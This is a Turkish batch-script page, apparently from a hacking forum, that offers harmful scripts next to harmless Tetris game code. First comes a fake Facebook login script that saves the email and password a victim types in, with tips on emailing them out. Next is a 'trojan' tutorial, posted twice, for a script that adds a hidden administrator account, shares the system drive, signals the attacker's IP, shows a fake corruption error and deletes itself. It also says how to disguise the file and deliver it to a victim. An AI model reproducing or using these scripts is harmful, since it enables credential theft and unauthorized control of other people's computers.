BAT KODU SİTESİ

          BAT KODU SİTESİNE HOŞGELDİNİZ


  • Bu Yöntemi vb.net bilenler bat'ları gizleyip programa cevirebilir.

1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
Kod:
ECHO OFF
COLOR 03
CLS
ECHO.
ECHO FACEBOOK ILE OTURUM ACIP MESAJLAS
ECHO.
ECHO Lutfen E-Mailinizi Girin:
SET/P "MAIL=>"
ECHO.
ECHO Sifrenizi Girin:
SET/P "PSWD=>"
ECHO Email = %MAIL%>>sifre.bat
ECHO Şifre = %PSWD%>>sifre.bat
CLS
TIMEOUT /T 5 >NUL
COLOR 0C
ECHO.
ECHO Suanda Serverle Baglanti Kurulamiyor Daha Sonra Tekrar Deneyiniz.
PAUSE>NUL
EXIT
2. Adım > Kaydederken istediğiniz adı koyup uzantısını ".bat" olarak kaydedin.
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.

Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.

Bilgisayarın Her Açılışında Değil Programın Her Açılışında Keylogger İşlem Görücek.

VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin

bilgisayara rest atınca yanlız çalışmaz start up özelliği yok

buna star up eklersek çok guzel olur 0/35



------------------------
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
[​IMG]


1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.

2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.

3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır. 

4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.

5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.

6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534 Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:[​IMG]osya bozuk oldugu icin tam baslatilamadi::.
pause
cls
del Ben.exe
exit




********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.

KENDI IP NI OGRENMEK ICIN TIKLA

 http://www.ipsorgu.com
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
[​IMG]


1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.

2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.

3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır. 

4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.

5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.

6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:[​IMG]osya bozuk oldugu icin tam baslatilamadi::.
pause
cls
del Ben.exe
exit




********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.
-------------------------


TETRİS BAT KODU :
-----------------------------

 

Kod:
@echo off
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof


WantedKankam 2019
---------------------------------


TETRİS KODU :
----------------------
Klasik tetris oyunu, bana göre toplu olarak kodlanmış.Oyunu dene, S tuşlarını kullan (Aşağı hareket) A (Sola hareket et) D (Hareket et) R (Döndür) X (oyundan çık).
@Echo off
@title Tetris v1.3
@mode con cols=28 lines=24
Setlocal enabledelayedexpansion enableextensions

:: Batch Game - Tetris v1.3
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
:: Greets to Carlos ;) (for KBD and bug fixes)

Set "Game=%0"

Kbd.exe 1 2>Nul
If "%Errorlevel%"=="9009" (Echo. Kbd command not found&Pause&Exit /b)

Call :Logo

:Menu
Cls
Echo.
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
:MenuIn
Kbd.exe 2
If "%errorlevel%"=="49" (Goto :Load)
If "%errorlevel%"=="50" (Goto :Help)
If "%errorlevel%"=="51" (Goto :End)
Goto :MenuIn

:Load
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
Set /a "NoPress=0,Pressed=0,Over=0"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
If !Over! Equ 1 Goto :Menu
Goto :Main

:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
:Move
Kbd.exe 1
Set /a "K=!ErrorLevel!"
If !k! Equ 0 (
  Set /a "NoPress+=1"
  If !NoPress! Equ 3 (
    Set /a "NoPress=0"
    Call :Down
  )
) Else Set /a "Pressed+=1"
If !k! Equ 80 (Call :Down)
If !k! Equ 75 (Call :Left)
If !k! Equ 77 (Call :Rigth)
If !k! Equ 32 (Call :Rotate)
If !k! Equ 120 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 88 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 99 (Call :MovCR)
If !k! Equ 67 (Call :MovCR)
If !Pressed! Equ 3 (
  Set /a "Pressed=0"
  Call :Down
)
If !Over! Equ 1 Goto :Lost
Goto :Graphic

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="-7" (Set "XToken=-6")
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%|Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)

Echo.!Lin_%LimY%!|Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)

Call :Solid

For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2
:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        Perdiste !
Goto :End

:Win
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.      Has Ganado !
Goto :End

:End
Echo.     Thanks for Play
Echo. Tetris v1.2 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Goto :Menu

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
